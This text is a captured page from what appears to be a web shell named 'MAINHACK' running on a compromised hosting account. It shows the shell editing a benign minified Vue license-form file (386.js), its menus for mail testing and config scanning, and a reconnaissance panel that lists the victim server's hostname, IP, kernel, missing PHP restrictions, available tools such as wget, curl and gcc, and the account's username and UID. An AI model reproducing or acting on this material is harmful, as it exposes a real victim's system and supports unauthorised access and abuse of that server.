[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: 386.js
"use strict";(self.webpackChunk=self.webpackChunk||[]).push([[386],{386:(e,t,n)=>{n.r(t),n.d(t,{default:()=>b});var i=n(9726),l={id:"company",class:"db-card db-tab-div active"},o={class:"db-card-header"},s={class:"db-card-title"},r={class:"db-card-body"},c={class:"form-row"},a={class:"form-col-12 sm:form-col-6"},d={for:"license_key",class:"db-field-title required"},m={key:0,class:"db-field-alert"},u={class:"form-col-12"},v={type:"submit",class:"db-btn text-white bg-primary"};var p=n(5475),f=n(9856);const h={name:"LicenseComponent",components:{LoadingComponent:p.A},data:function(){return{loading:{isActive:!1},form:{license_key:""},errors:{}}},mounted:function(){var e=this;try{this.loading.isActive=!0,this.$store.dispatch("license/lists").then(function(t){e.form={license_key:t.data.data.license_key},e.loading.isActive=!1}).catch(function(t){e.loading.isActive=!1})}catch(e){this.loading.isActive=!1,f.A.error(e)}},methods:{save:function(){var e=this;try{this.loading.isActive=!0,this.$store.dispatch("license/save",this.form).then(function(t){var n;e.loading.isActive=!1,f.A.successFlip(null!==(n="put"===t.config.method)&&void 0!==n?n:0,e.$t("menu.license")),e.errors={}}).catch(function(t){e.loading.isActive=!1,e.errors=t.response.data.errors})}catch(e){this.loading.isActive=!1,f.A.error(e)}}}};const b=(0,n(6262).A)(h,[["render",function(e,t,n,p,f,h){var b=(0,i.resolveComponent)("LoadingComponent");return(0,i.openBlock)(),(0,i.createElementBlock)(i.Fragment,null,[(0,i.createVNode)(b,{props:f.loading},null,8,["props"]),(0,i.createElementVNode)("div",l,[(0,i.createElementVNode)("div",o,[(0,i.createElementVNode)("h3",s,(0,i.toDisplayString)(e.$t("menu.license")),1)]),(0,i.createElementVNode)("div",r,[(0,i.createElementVNode)("form",{onSubmit:t[1]||(t[1]=(0,i.withModifiers)(function(){return h.save&&h.save.apply(h,arguments)},["prevent"])),class:"w-full"},[(0,i.createElementVNode)("div",c,[(0,i.createElementVNode)("div",a,[(0,i.createElementVNode)("label",d,(0,i.toDisplayString)(e.$t("label.license_code")),1),(0,i.withDirectives)((0,i.createElementVNode)("input",{"onUpdate:modelValue":t[0]||(t[0]=function(e){return f.form.license_key=e}),class:(0,i.normalizeClass)([f.errors.license_key?"invalid":"","db-field-control"]),type:"text",id:"license_key"},null,2),[[i.vModelText,f.form.license_key]]),f.errors.license_key?((0,i.openBlock)(),(0,i.createElementBlock)("small",m,(0,i.toDisplayString)(f.errors.license_key[0]),1)):(0,i.createCommentVNode)("",!0)]),(0,i.createElementVNode)("div",u,[(0,i.createElementVNode)("button",v,[t[2]||(t[2]=(0,i.createElementVNode)("i",{class:"lab lab-fill-save"},null,-1)),(0,i.createElementVNode)("span",null,(0,i.toDisplayString)(e.$t("button.save")),1)])])])],32)])])],64)}]])}}]);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285